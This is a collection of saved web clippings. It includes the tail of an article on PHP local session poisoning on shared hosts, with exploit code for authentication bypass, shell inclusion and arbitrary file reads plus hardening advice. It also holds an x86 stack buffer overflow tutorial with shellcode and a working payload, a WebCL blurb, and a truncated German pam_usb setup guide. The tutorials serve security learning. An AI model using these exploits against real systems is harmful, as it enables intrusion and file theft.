vulnerabilities in a web application, but notices that the web application
resides in a shared host, the attacker would enumerate other domain names
resolving to the same IP by for example utilizing http://www.ip-neighbors.com,
http://hostspy.org/, http://www.my-ip-neighbors.com/ or Bing's ip search
operator. One of the neighbouring web applications is bound to have an
unpatched flaw. When exploited, the remote attacker possesses all the
capabilities of a local user and continues to attack the desired target from
within the hosting server.

## Example 1: Spoofing variables

The easiest path of exploitation is to focus on the parts of an application
that utilizes sessions. By spoofing values one could fool its internal logic
and for example bypass authentication.  
  
Consider an autentication routine like this one. `// Starting the session
session_start(); // Authentication if(isset($_SESSION['isLoggedIn']) &&
$_SESSION['isLoggedIn']){ // Already authenticated, proceed.
haveAwsomeAmountsOfFun(); }elseif(isset($_POST['loginButton'])){ // Loggin in.
Check credentials. $_SESSION['isLoggedIn'] =
checkCredentials($_POST['username'], $_POST['password']); }else{ // Not logged
in. Show login form. showLoginForm(); exit(); }` The code required to spoof
authentication in this example is simple. `// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session
session_start(); // Spoof a variable $_SESSION['isLoggedIn'] = true; // Close
the session session_write_close();` Now the variable
$\_SESSION\['isLoggedIn'\] is set to true and session id
"16khau0g8c3mp3t3jbsedsc1mf0blvpu" is authenticated.

## Example 2: Exploitable function calls

Because of the inherit trust the $\_SESSION array possesses due to its status
as an internal variable, PHP programmers do not sanitize its values. Where one
would never trust the contents of a $\_GET variable, the contents of a
$\_SESSION variable is usually considered to be safe.  
  
Consider this potential flaw in a web application. `// Starting the session
session_start(); // ... if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php'); }else{
include('themes/default.php'); }` And this code sample required to exploit it.
`// Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); //
Start the session session_start(); // Spoof a variable $_SESSION['theme'] =
'../../../../mallroy/public_html/shell'; // Close the session
session_write_close();` When the web application is executed with session id
"16khau0g8c3mp3t3jbsedsc1mf0blvpu",
"themes/../../../../mallroy/public\_html/shell.php" would be included.

## Example 3: Autoloading classes

If an autoload function has been defined before the session is started, it
will automatically be called to try to load any undefined class. If the
session includes an object using an undefined class, the objects class name
will be passed as the first argument to the autoload function when the object
is being unserialized by the session handler. An autoload function will
usually try to include a file derived from that name, like this. `// Setup
autoload function function __autoload($class_name) { include $class_name .
'.php'; } // ... // Starting the session session_start();` Any object stored
in the $\_SESSION array will trigger the autoload. This code sample would
cause the file ClassName.php to be included. `// Define class class
ClassName{} // Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session
session_start(); // Spoof a variable $_SESSION['anyvar'] = new ClassName(); //
Close the session session_write_close();` Path traversal is not possible
because both the dot and the slash are invalid characters in an objects name.
Valid characters are A-Z, a-z, 0-9, \_ and \x80-\xFF. As of PHP 5.3 the
backslash character is also valid due to its use as a namespace separator. In
Windows hosts, the backslash can be used as directory separator and cause an
autoload function to include files from subfolders. However some programmers
build their autoload function to replace underlines with slashes to allow it
to naturally include files from subfolders.

## Example 4: Invoking an objects sleep- and wakeup methods

A class may define a sleep- and a wakeup method. When an object, of a
previously defined or autoloaded class, in the session array is unserialized
by the session handler its wakeup method is invoked, and when serialized its
sleep method is invoked. This causes an unnatural flow in the code and might
expose otherwise unreachable flaws, specially since all the internal variables
in the object can set arbitrarily.  
  
Here is an example of a vulnerable logging class which loads a file in its
wakeup method. `class VulnLogClass{ protected $logfile = 'error.log';
protected $logdata = ''; // Various logging methods here ... public function
__wakeup(){ // Load log from file $this->logdata =
file_get_contents($this->logfile); } } // Starting the session
session_start();` Using this code sample one could cause the web application
to read the contents of an arbitrary file into a variable in the object when
executed. `// Define a dummy class with modified variables class VulnLogClass{
protected $logfile = '../secret.php'; protected $logdata = ''; } // Inser your
session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the
session session_start(); // Store an instance of the dummy class in $_SESSION
$_SESSION['anyvar'] = new VulnLogClass(); // Close the session
session_write_close();` The contents could then be view like this. `// Define
a dummy class with the same name class VulnLogClass{} // Inser your session
id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session
session_start(); // Dump the data stored within the object.
var_dump($_SESSION['anyvar']); // Close the session session_write_close();`

## Should programmers sanitize session variables?

No, programmers should not sanitize session variables. The server admin is
responsible for adequately securing the session files.

## Securing a shared hosting environment

In shared hosts, session files from one web application should not reside in
the same directory as that of another web application. And the directory they
do reside in should not be readable nor writable by any one other than the
owner. To accomplish this, for each user, create a user-owned folder and have
its permissions set to 600. Then, for each user, set the runtime configuration
option session.save\_path to the path of their folder.

[code]

    session.save_path /hsphere/local/home/exampleuser/sessionstorage
    
[/code]

If Suhosin is installed on the server there is a slightly simpler way to
secure the session storage. By utilizing session encryption all the session
files can be kept together in a common folder. For this to be secure, each
user must be assigned a unique encryption key as set by the configuration
option suhosin.session.cryptkey.

[code]

    suhosin.session.cryptkey 5up3rRan0mK3y)withSauc3+
    
[/code]

The server administrator should configure the shared host using at least one
of these two methods. One way to accomplish this, if PHP is installed as an
Apache module, is for each VirtualHost block in the Apache httpd.conf file to
contain these settings prefixed by "php\_value" as specified in the manual. If
PHP is running in CGI/FastCGI mode, php.ini sections can be configured to
accomplish the same goal. Other variations or special environments may need to
be configured in their own way. The important thing is that each user has
their own unique session storage path or encryption key. If however this has
been neglected by the administrator, individual users can for example try to
set these configuration options by themselves by adding them to a .htaccess-
file or by any other means available in their environment.  
  
http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-1.html

# x86 Exploitation 101: when the stack gets over its head | gb\_master's /dev/null
**Created:**| _7/16/2015 10:59:45 AM_  
---|---  
**Updated:**| _7/16/2015 11:02:06 AM_  
**Author:**| __  
**Tags:**| _x86_  
  

So, as promised, I start here a series of articles dedicated  to the world of
exploitation: at the end of this one, I will go deeper with the x86 Assembly
series. First thing said: “what is an exploit?”. It could be described as a
piece of code \(or a series of commands as well\) that takes advantage of a
software vulnerability in order to execute arbitrary code \(mostly arbitrary
code execution, privilege escalation and others\). The one kind I will
describe here is the one applied to buffer overflows, i.e. when datas written
into a buffer go over the boundaries of the buffer itself. Well, buffer
overflows can affect both stack and heap: I will examine stack buffer
overflows before, as they’re definitely easier to understand compared to the
heap ones.

  

I actually found out that it’s easier to start studying the exploitation on
Linux and then apply the theory to a Windows system, so this will be the path
I will follow \(the x86 theory already examined still applies to a Linux
system, of course\). So, let’s say we have the following program example1.c
that checks the validity of a user-typed password by comparing it with an
hard-coded one \(\!\). If it’s the case, then the user gets a cookie.

  

\#include <stdio.h>  
  
char \*the\_good\_one = "gb\_master";  
  
void cookie\(\)  
\{  
    printf\("Get a cookie\!\n"\);  
\}  
  
char check\_password\(\)  
\{  
    char password\[64\];  
  
    printf\("Enter password: "\);  
    scanf\("%s", password\);  
  
    if\(\!strcmp\(password, the\_good\_one\)\)  
        return 1;  
    else  
        return 0;  
\}  
  
int main\(void\)  
\{  
    if\(check\_password\(\)\)  
    \{  
        printf\("GOOOOOOOOOOD\!\n"\);  
        cookie\(\);  
    \}  
    else  
    \{  
        printf\("Wrong password\n"\);  
    \}  
  
    return 0;  
\}  

  

As you can see, in the check\_password function, the scanf function writes
into the password\[64\] local variable without checking the size of the input
provided by the user: what if the string typed by the user is longer than 64
characters? Well, buffer overflow happens. Why should I care about a larger
string copied into a shorter buffer? Why should I bother?

  

Well, I explained at this link how the stack works with local variables, but
let me show how the stack looks like right after the call at the
check\_password function. First necessary step: disable the ASLR feature on
the Linux machine \(ASLR is a protection mechanism that randomized the
addresses of the data areas of the program\) with the following command:

  

echo 0 > /proc/sys/kernel/randomize\_va\_space

  

I’ll talk about how to circumvent this protection as well, anyway. By the way,
as GCC compiles \(by default\) the code in a slightly different way than the
Microsoft compiler, I had to add a few options in order to make it look the
most look-a-like and to have a less “traumatizing” experience.

  

gcc example1.c -m32 -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args
-zexecstack -o example1

  

I’ll explain here the options I used:

\- -m32: I’m on a 64-bit machine – as I’m going to examine \(for now\) 32-bit
assembly code, I need to crosscompile with this flag

\- -mpreferred-stack-boundary=2: GCC aligns the stack on a 16 byte boundary,
but this makes the generated code less readable. As we don’t need ALL that
optimization here, the choice to align on a 4 byte boundary has been made
\(2^2\)

\- -mno-accumulate-outgoing-args: GCC uses by default a series of SUB and MOVs
to pass the parameters to the functions. Again, this is an optimization we can
disable for readability-sake

\- -zexecstack: disables the NX bit, which is another mechanism to protect
from buffer overflow attacks \(later I’ll examine how to circumvent this
protection as well\)

  

With the help of GDB it is possible to print the stack status at the desired
time by placing a breakpoint at the right point of code:

  

$ gdb -q example1  
Reading symbols from example1...\(no debugging symbols found\)...done.  
\(gdb\) disass check\_password  
Dump of assembler code for function check\_password:  
  0x080484bd <+0>:    push  ebp  
  0x080484be <+1>:    mov    ebp,esp  
  0x080484c0 <+3>:    sub    esp,0x40  
  0x080484c3 <+6>:    push  0x80485e8  
  0x080484c8 <+11>:    call  0x8048360 <printf@plt>  
  0x080484cd <+16>:    add    esp,0x4  
  0x080484d0 <+19>:    lea    eax,\[ebp-0x40\]  
  0x080484d3 <+22>:    push  eax  
  0x080484d4 <+23>:    push  0x80485f9  
  0x080484d9 <+28>:    call  0x80483a0 <\_\_isoc99\_scanf@plt>  
  0x080484de <+33>:    add    esp,0x8  
  0x080484e1 <+36>:    mov    eax,ds:0x804986c  
  0x080484e6 <+41>:    push  eax  
  0x080484e7 <+42>:    lea    eax,\[ebp-0x40\]  
  0x080484ea <+45>:    push  eax  
  0x080484eb <+46>:    call  0x8048350 <strcmp@plt>  
  0x080484f0 <+51>:    add    esp,0x8  
  0x080484f3 <+54>:    test  eax,eax  
  0x080484f5 <+56>:    jne    0x80484fe <check\_password+65>  
  0x080484f7 <+58>:    mov    eax,0x1  
  0x080484fc <+63>:    jmp    0x8048503 <check\_password+70>  
  0x080484fe <+65>:    mov    eax,0x0  
  0x08048503 <+70>:    leave  
  0x08048504 <+71>:    ret  
End of assembler dump.  
\(gdb\) break \*check\_password+6  
Breakpoint 1 at 0x80484c3  
\(gdb\) r  
Starting program: /home/gb\_master/example1  
  
Breakpoint 1, 0x080484c3 in check\_password \(\)  
\(gdb\) x/20x $esp  
0xffffd220:    0x00000000      0x00ca0000      0x00000001      0x08048321  
0xffffd230:    0xffffd49e      0x0000002f      0x08049840      0x08048592  
0xffffd240:    0x00000001      0xffffd304      0xffffd30c      0xf7e3d27d  
0xffffd250:    0xf7fb13c4      0xf7ffd000      0x0804854b      0xf7fb1000  
0xffffd260:    0xffffd268      0x0804850d      0x00000000      0xf7e23a63  
  

  

The whole stack can be represented in the good old way:

  

EBP:  0xFFFFD260  
ESP:  0xFFFFD220  
  
                        ADDRESS  
STACK:  ^              0xFFFFD264:  0x0804850D \(EIP address to be restored\)  
        |      EBP ->  0xFFFFD260:  0xFFFFD268 \(previous stack frame\)  
        |              0xFFFFD25C:  undefined  \(password buffer...\)  
        |              ...  
        |      ESP ->  0xFFFFD220:  undefined  \(...until here\)  

  

So, the password variable address is 0xFFFFD220: what happens if we start
writing from here a string longer than the space it was reserved for the
variable itself? Well, we would go over 0xFFFFD25F and starting overwriting
the address of the previous stack frame and the address of the next
instruction to be executed after the current function is over. That is the
vulnerability\!

  

Overwriting it with totally invalid data is very simple actually: an input
string 64+4+4 characters long is enough to get rid of the correct value of
both old-stack-frame value and EIP-value-to-be-restored. Trying is very easy:

  

$ gdb -q example1  
Reading symbols from example1...\(no debugging symbols found\)...done.  
\(gdb\) r  
Starting program: /home/gb\_master/example1  
Enter password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
  
Program received signal SIGSEGV, Segmentation fault.  
0x41414141 in ?? \(\)  

  

That was totally expected: the program restored 0x41414141 \(which is the
hexadecimal version of “AAAA”\) as EIP and it seg-faulted, as there’s nothing
there. But this totally means that we can put inside EIP whatever value we
want: even the cookie function one. That totally deserves a try, but we need
the address of the cookie function before.

  

\(gdb\) print \*cookie  
$1 = \{<text variable, no debug info>\} 0x80484ab <cookie>  

  

So, now what’s needed is a 64+4 buffer of useless data and 4 bytes containing
the cookie address. For clearness sake, I will use the “B” character for the
EBP-overwriting part so:

  

$ python -c 'import sys; sys.stdout.write\("A"\*64 + "BBBB" \+ "\xab\x84\x04\x08"\)' | ./example1  
Enter password: Get a cookie\!  
Segmentation fault  

  

So, we practically executed the cookie function\! But it’s still seg-faulting…
WHY? That’s because the program restores a bad stack frame \(at the 0x42424242
address, which is the hexadecimal version of “BBBB”\). But this is cool
enough: we changed the execution flow\!

  

The problem here is that we’re relying on some code that was already present
in the program: somewhat a half-arbitrary code execution. Not enough\! Luckily
there’s a way to execute fully-arbitrary code. In order to do that, it’s
necessary to write, inside the variable stack space, the arbitrary code, which
will be called shellcode, and to have the EIP register pointing at the
variable buffer. Obviously the shell code should be the shortest possible, in
order to fit into the variable space; also, as usually the writing operation
on the variable is performed with a string copy function, the shellcode MUST
be \(in such situation\) NULL-free, i.e. it must not contain the NULL
character \(otherwise the copy operation would stop before reaching the end of
the shellcode\). Finally, a shellcode has to rely only on the executable
section, without referencing data stored on the data section.

  

Wikipedia kindly classifies the shellcodes into four categories:

\- Local: a shellcode used to exploit a local vulnerability, usually in a
higher-privileged process, in order to gain the same privileges of the
vulnerable process

\- Remote: the attacker aims to exploit a vulnerability on another machine
usually by sending the shellcode through a TCP/IP connection

\- Download and execute: a remote shellcode that downloads and executes a
malware on the target system

\- Staged: a small shellcode that downloads a bigger shellcode into the memory
process

  

As a first example, I’d just print a “Pwned\!” string and then exit the
program. How could I do this? Well, first thing I need the assembly code of
such operation. Using the code of the equivalent compiled C program isn’t
advisable, as we’re aiming to have the shortest shellcode possible \(and
anyway the C program would use the printf function \(or an equivalent one\).
So it’s time to code this by hand. The shortest way to do this, as far as I
know, is by calling directly the write system call of the Linux kernel, which
needs the following information:

\- File descriptor stored in EBX

\- String address stored in ECX

\- String length stored in EDX

  

As usual, to perform a system call on Linux, it’s necessary to store the
number of the desired system call in EAX \(listed in unistd.h\) and execute an
INT 0x80. I know I didn’t show this x86 ASM instruction, but it wasn’t really
necessary at the time: it will be correctly explained later, in the more
advanced x86 ASM series. For now it is sufficient to know that executing INT
0x80 on a Linux machine means calling the kernel and executing the desired
system call.

  

At the end of the shell code we MUST exit from the process, otherwise we would
execute meaningless code outside the variable containing the shellcode. Doing
this is easy, as there is the exit system call provided by the Linux kernel.
In the end, I come up with the following code:

  

section .data  
  
pwned\_str      db 'Pwned\!'  
  
section .text  
  
global \_start  
  
\_start:  
        mov    eax, 4        ; write system call number  
        mov    ebx, 1        ; stdout  
        mov    ecx, pwned\_str ; string address  
        mov    edx, 6        ; string length  
        int    0x80  
  
        mov    eax, 1        ; exit system call number  
        mov    ebx, 0        ; exit value  
        int    0x80  

  

Compiling it, that’s easy, with the follwing commands:

  

nasm -f elf32 pwned.asm

ld -m elf\_i386 pwned.o -o pwned

  

The precedent commands generated the pwned executables: by executing it, you
will realize that it does exactly what we wanted to do. Now we need to get the
machine code corresponding to these x86 instructions. Thank God, there’s the
objdump application, which makes this very easy:

  

$ objdump -d pwned -M intel  
  
pwned:    file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048080 <\_start>:  
8048080:      b8 04 00 00 00          mov    eax,0x4  
8048085:      bb 01 00 00 00          mov    ebx,0x1  
804808a:      b9 a4 90 04 08          mov    ecx,0x80490a4  
804808f:      ba 08 00 00 00          mov    edx,0x8  
8048094:      cd 80                  int    0x80  
8048096:      b8 01 00 00 00          mov    eax,0x1  
804809b:      bb 00 00 00 00          mov    ebx,0x0  
80480a0:      cd 80                  int    0x80  

  

Hell, that’s full of NULL characters. Even worse, it uses values from the data
section. One problem at a time. Why the 0 values? That’s because we use 32-bit
registers and, if we use the MOV instruction with an immediate smaller that 32
bits, the assembler has to fill rest of the register with 0 values somewhat.
That’s why.

  

Well, there’s a way to cheat: using the low 8-bit registers and the XOR
instruction, by obtaining:

  

section .data  
  
pwned\_str      db 'Pwned\!'  
  
section .text  
  
global \_start  
  
\_start:  
        xor    eax, eax  
        xor    ebx, ebx  
        xor    ecx, ecx  
        xor    edx, edx  
        mov    al, 4  
        mov    bl, 1  
        mov    ecx, pwned\_str  
        mov    dl, 6  
        int    0x80  
  
        mov    al, 1  
        xor    ebx, ebx  
        int    0x80  

  

And now, objdump:

  

$ objdump -d pwned -M intel  
  
pwned:    file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048080 <\_start>:  
8048080:      31 c0                  xor    eax,eax  
8048082:      31 db                  xor    ebx,ebx  
8048084:      31 c9                  xor    ecx,ecx  
8048086:      31 d2                  xor    edx,edx  
8048088:      b0 04                  mov    al,0x4  
804808a:      b3 01                  mov    bl,0x1  
804808c:      b9 9c 90 04 08          mov    ecx,0x804909c  
8048091:      b2 06                  mov    dl,0x6  
8048093:      cd 80                  int    0x80  
8048095:      b0 01                  mov    al,0x1  
8048097:      31 db                  xor    ebx,ebx  
8048099:      cd 80                  int    0x80  

  

Wow, that’s cool. And the executable still works. But there is still the
string issue. That can be solved with a nice trick:

  

section .text  
  
global \_start  
  
\_start:  
        jmp    tricky\_end  
  
tricky\_start:  
        xor    eax, eax  
        xor    ebx, ebx  
        xor    ecx, ecx  
        xor    edx, edx  
        mov    al, 4  
        mov    bl, 1  
        pop    ecx  
        mov    dl, 6  
        int    0x80  
  
        mov    al, 1  
        xor    ebx, ebx  
        int    0x80  
tricky\_end:  
        call    tricky\_start  
        db      'Pwned\!'  

  

What does this code do? Well, there is a jump to the tricky\_end address and
the a call to tricky\_start is performed. Why? Well, the CALL instruction
pushes onto the stack the address of the next instruction to be executed after
that a RET instruction is executed: this means that the string address is
pushed onto the stack, as I wrote its declaration right after the CALL
instruction\! Popping it from the stack to the ECX register is enough to have
the same result of the previous versions. Objdump, please:

  

$ objdump -d pwned -M intel  
  
pwned:    file format elf32-i386  
  
  
Disassembly of section .text:  
  
08048060 <\_start>:  
8048060:      eb 17                  jmp    8048079 <tricky\_end>  
  
08048062 <tricky\_start>:  
8048062:      31 c0                  xor    eax,eax  
8048064:      31 db                  xor    ebx,ebx  
8048066:      31 c9                  xor    ecx,ecx  
8048068:      31 d2                  xor    edx,edx  
804806a:      b0 04                  mov    al,0x4  
804806c:      b3 01                  mov    bl,0x1  
804806e:      59                      pop    ecx  
804806f:      b2 06                  mov    dl,0x6  
8048071:      cd 80                  int    0x80  
8048073:      b0 01                  mov    al,0x1  
8048075:      31 db                  xor    ebx,ebx  
8048077:      cd 80                  int    0x80  
  
08048079 <tricky\_end>:  
8048079:      e8 e4 ff ff ff          call  8048062 <tricky\_start>  
804807e:      50                      push  eax  
804807f:      77 6e                  ja    80480ef <tricky\_end+0x76>  
8048081:      65                      gs  
8048082:      64                      fs  
8048083:      21                      .byte 0x21  

  

Thank you objdump for trying to parse my string as x86 instructions. Anyway,
this shellcode is clean and usable now: you’ll agree that the shellcode itself
is the following string

  

“\xeb\x17\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x50\x77\x6e\x65\x64\x21″

  

where every byte has been correctly escaped. The shellcode, at the moment, is
36 characters long, definitely shorter than our 64 bytes buffer. We need
anyway, to write over the whole buffer in order to overwrite the return value.
That’s where the NOP slide technique comes into the game \(actually it has
another purpose\): the technique consists in filling the buffer with a long-
enough sequence of NOP instructions followed by the shellcode. The NOP
instruction \(opcode 0x90\) is a special instruction that actually does
nothing, just wastes a cycle \(it actually performs an XCHG EAX, EAX, i.e.
exchanges the value contained into the EAX register with itself\).

  

So, in short we need 64-36 NOP instructions before the shellcode. That’s
pretty easy with a python command:

  

$ python -c 'import sys; sys.stdout.write\("\x90"\*\(64-36\) +
"\xeb\x17\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x50\x77\x6e\x65\x64\x21\x0a"\)'
> payload  

  

So I wrote into the payload file our payload. Now we need to attach the rest
of the payload that will overwrite the old stack base pointer and the return
value. Appending a 4-byte value that will overwrite the EBP-to-be it’s an easy
one, as we don’t need a useful value for that:

  

$ python -c 'import sys; sys.stdout.write\("BBBB"\)' >> payload  

  

What about the returning address? Well, we need the address of the password
variable, as that’s where our shellcode is. A nice way to do it is to attach
GDB to the running process \(which is waiting for user input\) and print the
variable address:

  

$ gdb -q -p 6262  
Attaching to process 6262  
Reading symbols from /home/gb\_master/example1...\(no debugging symbols
found\)...done.  
Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...\(no debugging
symbols found\)...done.  
Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6  
Reading symbols from /lib/ld-linux.so.2...\(no debugging symbols
found\)...done.  
Loaded symbols for /lib/ld-linux.so.2  
0xf7fdc430 in \_\_kernel\_vsyscall \(\)  
\(gdb\) break \*check\_password+70  
Breakpoint 1 at 0x8048503  
\(gdb\) c  
Continuing.  
  
Breakpoint 1, 0x08048503 in check\_password \(\)  
\(gdb\) i r  
eax            0x0      0  
ecx            0x67    103  
edx            0xffffd270      -11664  
ebx            0xf7fb1000      -134541312  
esp            0xffffd270      0xffffd270  
ebp            0xffffd2b0      0xffffd2b0  
\[...\]  

  

The ESP register points to the beginning of our buffer: 0xFFFFD270. Let’s add
this address to the shellcode:

  

$ python -c 'import sys; sys.stdout.write\("\x70\xd2\xff\xff"\)' >> payload  

  

Now, the payload is complete. And we can test it\!

  

$ ./example1 < payload  
Pwned\!$  

  

That’s it\! The string “Pwned\!” has been correctly printed and the program
exited.

  

This small series about exploitation is not over yet, as I will show how to
spawn a shell with a shellcode and how to circumvent the protection that were
added over the years to avoid this kind of vulnerability.

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook

  

Loading...

  

Related

  

x86 Exploitation 101: heap overflows... unlink me, would you please?

In "Exploitation"

  

x86 Exploitation 101: born in a shell

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

<img src='img/Temp2_10771.png' width='640' height='55' />

# WebCL

**Created:**| _5/17/2011 7:23:10 PM_  
---|---  
**Updated:**| _5/17/2011 7:23:10 PM_  
**Author:**| __  
**Tags:**| _web GPU_  
  

## GPU Computing on the Web

The WebCL project exposes OpenCL into JavaScript, allowing web developers to
tap into the massive parallel computing resources of modern GPUs and multicore
CPUs. This, when combined with WebGL and other emerging standards, enables
entirely new categories of interactive web apps, such as photo editing, video
processing, visualization, simulation, and cutting-edge games -- things that
haven't been possible on the web before.

### Getting Started

  * 1\. Download, install and run Firefox 4.
  * 2\. Install the Nokia WebCL extension \(works on 32-bit Windows and Linux\).
  * 3\. Click here to check that you have WebGL enabled \(if not, follow the instructions\).
  * 4\. Click here to check that you have WebCL enabled \(if not, please read the FAQ\).
  * 5\. Check out Kernel Toy \-- our on-line, interactive WebCL kernel editor.

# Authentifizierung mit USB-Stick › Wiki › ubuntuusers.de

**Created:**| _5/12/2010 9:45:47 AM_  
---|---  
**Updated:**| _5/12/2010 9:46:07 AM_  
**Author:**| __  
**Tags:**| _security tools authentication bypass USB Linux Lab-Setup_  
  

## Übersicht

PAM steht für Pluggable Authentication Modules. Durch die Nutzung von PAM-
Modulen ist man in der Lage, verschiedene Authentifizierungsmechanismen unter
Linux zu implementieren. Zum Beispiel: Kerberos, LDAP, Public-Key-
Authentication oder Smartcards. Das hier vorgestellte PAM-Modul ermöglicht es
dem Benutzer, sich mit einem handelsüblichen USB-Stick am System zu
authentifizieren.

## Wie funktioniert pamusb?

Für die Authentifizierung wird auf dem USB-Stick im Verzeichnis **.pamusb**
der öffentliche Schlüssel "benutzer.pad" abgelegt. Im Homeverzeichnis des
Benutzers liegt im versteckten Ordner **.pamusb** der private Schlüssel
"MeinStick.pad".

Für den Zugang werden noch der Hersteller des Sticks sowie die
Produktbezeichnung und Seriennummer hinzugezogen.

### Hinweis:

Ein einfaches Kopieren des Schlüssels reicht also nicht aus, um Zugang zum
System zu erhalten.

Das pamusb-Modul arbeitet mit Applikationen, die PAM unterstützen, zusammen
z.B. sudo, Displaymanager wie GDM und KDM, etc.

## Installation ab Gutsy

Seit Ubuntu 7.10 Gutsy Gibbon kann pamusb über die Paketverwaltung installiert
werden \[1\]:

  * **pamusb-tools** \(_universe_\) und abhängigkeiten 

Die aktuellste Version kann auch von pamusb hier <img src='img/Temp2_921.png'
alt='{en}' /> heruntergeladen werden. Nach dem Entpacken \[5\] von pamusb kann
das Programm kompiliert \[4\] werden.

Bei der Verwendung unter Karmic Koala ist darauf zu achten, daß die
Passworteingabe nur zur Anmeldung, nicht aber zur Verschlüsselung der privaten
Ordner verwendet wird. Bei der Verwendung von pamusb erfolgt die Anmeldung nur
über den USB-Stick und ohne eine Passworteingabe. Wenn die Entschlüsselung der
privaten Ordner \(z.B. /home/Benutzer, /home/Benutzer/desktop\) an eine
Passworteingabe gebunden ist, findet Ubuntu diese Ordner nach einem Neustart
mit pamusb nicht.

## Konfiguration

Um nun mit der Konfiguration fortzufahren, ist es notwendig, den USB-Stick
einzustecken und ein Terminal \[2\] zu öffnen.

### USB-Stick hinzufügen

Mit `pamusb-conf` kann nun der USB-Stick der **/etc/pamusb.conf** hinzugefügt
werden. Dazu ist folgender Befehl notwendig:

[code]

    sudo pamusb-conf --add-device MeinStick
    Please select the device you wish to add.
    * Using "Philips USB Flash Drive (1234567890123456)" (only option)
    Which volume would you like to use for storing data ?
    * Using "/dev/sdb1 (UUID: E8ED-3F91)" (only option)
    Name            : MeinStick
    Vendor          : Philips
    Model           : USB Flash Drive
    Serial          : 1234567890123456
    UUID            : E8ED-3F91
    Save to /etc/pamusb.conf ?
    [Y/n] Y
    Done. 
    
[/code]

Die Frage, ob die Daten der **/etc/pamusb.conf** hinzugefügt werden sollen,
bestätigt man mit Y. Um weitere USB-Sticks der Konfiguration hinzuzufügen, ist
der Befehl zu wiederholen.

### Benutzer hinzufügen

Mit `pamusb-conf` kann nun der **/etc/pamusb.conf** ein Benutzer hinzugefügt
werden.

[code]

    sudo pamusb-conf --add-user benutzer
    Which device would you like to use for authentication ?
    * Using "MeinStick" (only option)
    User            : benutzer
    Device          : MeinStick
    Save to /etc/pamusb.conf ?
    [Y/n] Y
    Done. 
    
[/code]

Die Frage, ob der Benutzer der **/etc/pamusb.conf** hinzugefügt werden soll,
bestätigt man mit Y. Um weitere USB-Sticks der Konfiguration hinzuzufügen ist
der Befehl zu wiederholen.

Um zu prüfen, ob alles richtig angelegt wurde, nutzt man den Befehl `pamusb-
check`, der die Authentifizierung simuliert.

[code]

    pamusb-check benutzer
    * Authentication request for user "benutzer" (pamusb-check)
    * Device "MeinStick" is connected (good).
    * Performing one time pad verification...
    * Verification match, updating one time pads...
    * Access granted. 
    
[/code]

### Konfiguration der Authentifizierung

Um nun die Authentifizierung zu aktivieren, muss die Datei
**/etc/pam.d/common-auth** angepasst werden. Dazu öffnet man die Datei mit
Root-Rechten in einem Editor \[3\] und ändert den Inhalt der Datei

von:

[code]

    auth    required        pam_unix.so nullok_secure
    
[/code]

in:

[code]

    auth    required        pam_usb.so use_first_pass
    #auth    required        pam_unix.so nullok_secure
    
[/code]

Ab Jaunty sieht die Zeile so aus:

[code]

    auth      [success=1 default=ignore]      pam_usb.so user_first_pass
    #auth   [success=1 default=ignore]      pam_unix.so nullok_secure
    
[/code]

Ab jetzt ist eine Anmeldung am System nur noch mit dem Benutzer-Kennwort und
dem USB-Stick möglich. Dies kann man in einem Terminal \[2\] testen:

[code]

    sudo -i
    Password:
    root@bernie:~# 
    
[/code]

Nach der Eingabe des Passwortes ist man nun root.

Die Datei **/var/log/auth.log** zeigt die korrekte Authentifizierung mit dem
Kennwort und dem USB-Stick an.

[code]

    tail -n 5 /var/log/auth.log
    Jul 15 20:45:44 bernie pam_usb[6732]: pam_usb v0.4.1
    Jul 15 20:45:44 bernie pam_usb[6732]: Authentication request for user "benutzer" (sudo)
    Jul 15 20:45:44 bernie pam_usb[6732]: Device "MeinStick" is connected (good).
    Jul 15 20:45:44 bernie pam_usb[6732]: Access granted.
    Jul 15 20:45:48 bernie sudo:   benutzer : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/bin/bash 
    
[/code]

### pamusb-agent

Der  _pamusb-agent_ ermöglicht das automatische Ausführen von Befehlen. Damit
ist es z.B. möglich, den Bildschirm durch das Entfernen des USB-Sticks zu
sperren.

Beispiel für das automatische Sperren des Bildschirms beim Entfernen des USB-
Sticks: Hierfür wird die **/etc/pamusb.conf** in der Sektion "users"
angepasst. Diese ist mit Root-Rechten in einem Editor \[3\] zu öffnen.

[code]

    <user id="benutzer"> <!-- Der Benutzer für den die Einstellung gelten soll -->
          <device>MeinStick</device> <!-- Der USB-Stick der vom Benutzer genutzt wird -->
          <option name="quiet">true</option> <!-- kein ausführlicher Output -->
          <agent event="lock">gnome-screensaver-command -l</agent> <!-- Sperren des Bildschirms -->
          <agent event="unlock">gnome-screensaver-command -d</agent> <!-- Entsperren des Bildschirms -->
    </user>
    
[/code]

### Achtung\!

bitte den Text von hier kopieren, da das im Programm enthaltene Beispiel nicht
funktioniert.

Um nun den **pamusb-agent** auch unter GNOME nutzen zu können, muss dieser dem
Autostart hinzugefügt werden.

#### Not removable device error

Es kann dazu kommen, dass alle checks ok sind, der stick beim Einstecken und
ausführen von pamusb-agent einen Fehler zurückgibt. Als workaround gibt es
dazu in /usr/bin/pamusb-conf

[code]

    if deviceProperties['storage.removable'] != 1:                                                                              
